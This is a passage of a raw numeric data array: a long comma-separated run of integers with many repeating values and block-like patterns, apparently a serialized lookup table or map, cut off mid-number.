,37318,37318,37318,65382,72644,72644,61681,58099,41542,41542,41542,66616,65498,65498,65498,66632,66681,41461,41461,54252,37318,70963,37318,37318,37318,66698,72644,60920,66716,41542,67896,66733,65498,69783,66751,41461,54608,56936,37318,66770,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,56009,66788,66811,66827,66851,66889,49836,61620,60922,73660,47450,46828,42223,66927,59778,49606,47605,66943,50030,47449,46829,60496,73658,47451,52229,66963,67001,67042,47192,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,42006,44953,41194,40023,67082,63290,67117,67133,67149,67200,67214,67230,67259,67243,67275,67324,37318,67347,72149,37087,37318,39873,37318,37318,73640,55694,39647,45609,60403,67364,67389,66058,64007,71278,67425,72217,39770,40165,39032,68839,68408,37318,37318,37318,37318,39965,41180,37318,67452,67489,70764,72644,72644,67522,67558,63467,41542,52709,51619,65498,67579,65498,57854,67601,63637,67628,41461,60376,37318,67645,37318,67663,67683,37318,56960,37318,65223,37318,37318,73164,52080,69630,72644,72644,72644,67733,60734,73861,41542,41542,53739,65493,58399,51643,65498,65498,63881,46825,67757,59323,41461,41461,66122,50625,37318,37318,67778,47108,48295,37318,38228,67799,44787,57969,67823,72644,72644,69591,55783,67843,67888,41542,41542,63123,65166,73809,53005,65498,65498,64714,62913,63541,72852,41461,41461,59639,69865,70909,48723,67912,59519,37318,37900,37318,51391,37318,67935,72642,72644,52056,59087,72644,38767,41542,41542,67964,67985,41444,65497,65498,65858,58406,65498,59803,41461,41461,68002,41461,47863,54854,37318,68397,37318,68076,37318,60498,68624,72644,68100,65444,66541,41542,68117,51222,72818,65498,55549,59798,53799,41461,51777,47288,37318,37318,40078,37318,68138,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,65915,37954,37318,68162,56840,72644,69566,50031,41542,68178,65498,72029,59802,41461,61324,68205,61615,68239,68255,57031,68288,49964,68312,64170,41461,72350,72946,63842,68330,50053,68366,68384,61620,60922,73660,47450,46828,40170,49310,63506,57898,47605,68424,68440,45370,63171,40400,68476,68554,68604,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,38247,68640,37318,37318,44545,44549,42062,66479,66466,68687,68703,68719,68748,68732,68764,68811,49856,37318,68835,73418,40538,54530,37318,68855,37963,68877,39120,68925,68959,68996,69012,46476,69028,71470,69063,59385,62027,45461,65008,68839,69079,37318,38220,69096,65716,69131,41882,69165,69175,69191,63718,59550,63357,69231,50874,46465,70280,70118,64531,65596,69273,69296,57117,69318,73551,69334,69350,69367,69406,69430,37318,69456,69475,69510,37318,37318,68519,50099,69530,44732,69549,69582,60998,72644,69624,41363,69646,69670,69695,41542,69720,65493,69753,69776,69799,65498,69824,48973,69844,69860,69881,41461,69903,51039,37318,69922,62705,62209,69940,52743,51107,45640,57591,40471,72643,69961,69994,72644,48835,70019,70047,70072,69679,41542,41542,70100,64902,48943,63562,65498,65498,70134,59800,68060,61822,41461,41461,70150,47863,72356,45780,37318,73436,47091,37318,37318,70166,72704,72644,70194,70221,70244,47170,73209,73218,70265,66328,41444,70313,65498,70329,70356,70389,60293,70422,70441,54423,70477,47863,50635,37318,50706,66496,53384,69533,46401,70511,72644,72644,70544,70560,70789,41542,70593,70626,69047,65498,52486,70661,69887,41461,70487,37318,41199,59126,70706,37318,70726,70746,56994,70780,70823,72308,70850,70870,65601,70904,70925,51697,70495,37450,37318,70960,70979,71002,71021,63456,46437,71047,71074,71095,49624,59493,71132,71156,71181,41086,71197,69608,71230,71263,71294,71313,57200,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,65052,64909,59331,55194,71329,71374,71410,71439,71455,66985,70676,53268,62159,62339,66862,71486,71502,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,71540,37318,37318,62697,37318,37318,67919,71622,71638,71652,71668,71697,71681,71711,65689,37318,37318,41289,71727,43243,37318,54635,37318,47100,37318,37318,37318,44404,60624,71747,71775,71820,71855,71891,71918,50345,37318,37318,68839,37318,37318,64312,71934,37318,37318,37318,63901,73164,71973,72644,72644,67498,71994,41542,41542,41542,72010,61470,65498,65498,49441,57854,72045,41461,41461,72052,56235,72068,37318,72101,73266,37318,37318,37318,72130,72165,37318,45286,73164,72644,72186,72203,52036,66700,41363,41543,41542,72253,47431,72288,65493,56731,65499,62067,70610,72324,46825,73981,63597,47312,56493,72372,47041,37318,38557,37318,72400,37318,37318,37318,52648,37318,37318,72643,69558,72644,72644,72644,72645,72419,58149,41542,41542,41542,41542,61134,64696,65498,65498,65498,65498,59800,57573,41461,41461,41461,41461,47863,56406,37318,67179,37318,37318,37318,37318,60902,62813,72644,72644,72644,72644,42340,41542,41542,41542,41542,41444,47816,65498,65498,65498,65498,64261,41461,41461,41461,41461,47863,54766,37318,37318,46970,37318,37318,39394,72444,72644,72644,67855,72462,41542,57537,51591,72495,65498,65498,72517,72553,41461,41461,72576,37318,72600,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,65757,60923,69654,73664,69041,59801,72620,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,72639,72661,49423,56501,60496,73658,47451,47606,53268,68368,54485,72691,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,42479,51143,66186,50148,37318,40519,67015,72720,37318,37318,72736,72765,72749,72779,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72795,49944,41369,72816,50989,62003,72217,37318,49091,63043,68839,37318,37318,37318,37318,37318,52920,37318,37318,73164,47899,72644,73587,72644,45386,72834,41542,56677,52709,56433,65498,65498,72024,57854,55980,41461,64944,41461,60376,37318,37318,37318,37318,37318,55361,37318,37318,37318,53853,37318,73164,72644,72644,72868,72644,72644,41363,41542,41542,72887,41542,41542,65493,65498,65498,72920,65498,65498,46825,41461,56253,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,40788,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,69080,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,72938,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,50678,37318,37318,72976,37318,72965,72996,73030,73066,73080,73096,73125,73109,73141,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,49521,50028,47181,50958,47282,59296,63932,37318,37318,37318,68839,37318,37318,37318,37318,45204,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,48411,37318,37318,37318,37318,73180,72644,72644,72644,72644,72645,73199,41542,41542,41542,41542,41542,56282,65498,65498,65498,65498,65498,56756,41461,41461,41461,41461,41461,47863,54854,37318,68223,37318,37318,37318,37318,37318,72642,72644,73234,72644,56857,38767,41542,66304,41542,41542,73255,65497,65498,73289,65498,72501,59803,41461,61976,41461,70425,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45555,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,73310,37318,39135,37318,37318,37318,46656,37318,73333,55714,73368,64110,41369,73389,53053,62003,72217,37318,37318,37318,73407,48428,48554,40049,37318,37318,37318,37318,37318,73164,72644,61072,72644,52030,45386,41542,41809,41542,73452,65498,65498,58580,63617,57854,41461,41461,73487,55972,60376,73504,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,62308,37318,37318,37318,72643,72644,52957,72644,72644,74050,38772,41542,54792,41542,41542,41542,48926,65498,65498,73527,65498,65498,59800,41461,41461,73547,41461,41461,47863,54854,73567,37318,37318,37318,37318,37318,37318,72642,73584,72644,72644,72644,38767,72904,41542,41542,41542,41444,65497,73603,65498,65498,65498,59803,70455,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,73622,37318,37318,41289,37087,37318,42196,37318,37318,37318,37318,37318,37318,4e4,72644,73656,60650,55287,47282,61984,73680,37318,42131,37318,68839,37318,37318,37318,37318,37318,37318,37318,41786,73164,72644,72644,72644,69600,45386,41542,41542,41542,73717,65498,65498,65498,56205,57854,41461,41461,41461,72560,60376,37318,59949,37318,37318,37318,37318,37318,37318,37318,73753,37318,73164,52385,72644,72644,73772,72644,41363,69737,41542,41542,73791,41542,65493,49792,65498,65498,73825,65498,46825,50572,41461,66682,41461,41461,47041,37318,46080,37318,37318,37318,37318,37318,37318,37318,37318,72643,41389,72644,72644,72644,72645,73844,41542,73877,41542,41542,41542,51420,65498,73910,65498,65498,65498,49986,41461,73935,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,61662,37318,72642,72644,47364,72644,72644,38767,41542,41542,70798,41542,41444,65497,65498,65498,73958,65498,59803,41461,41461,73977,41461,47863,54854,37318,37318,42105,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,73997,37318,37318,40961,37318,60952,72644,60920,74016,41542,41542,57892,65498,65498,71387,41461,41461,56936,37318,60826,37318,73163,72644,74049,50031,68296,73662,65498,74066,59802,53130,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,61870,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,64589,74088,74086,40559,74115,74104,74140,74169,37318,74124,74153,74190,74194,74210,36991,37318,37318,41289,37087,37318,37318,74245,37318,37318,37318,37318,37318,65657,40192,74266,55734,37318,53472,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,72228,37116,37202,37162,74643,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,37318,37318,53226,37318,37318,67919,57964,74289,74334,37318,37318,74319,74303,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,74350,37318,53463,40192,38525,37318,37318,74370,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37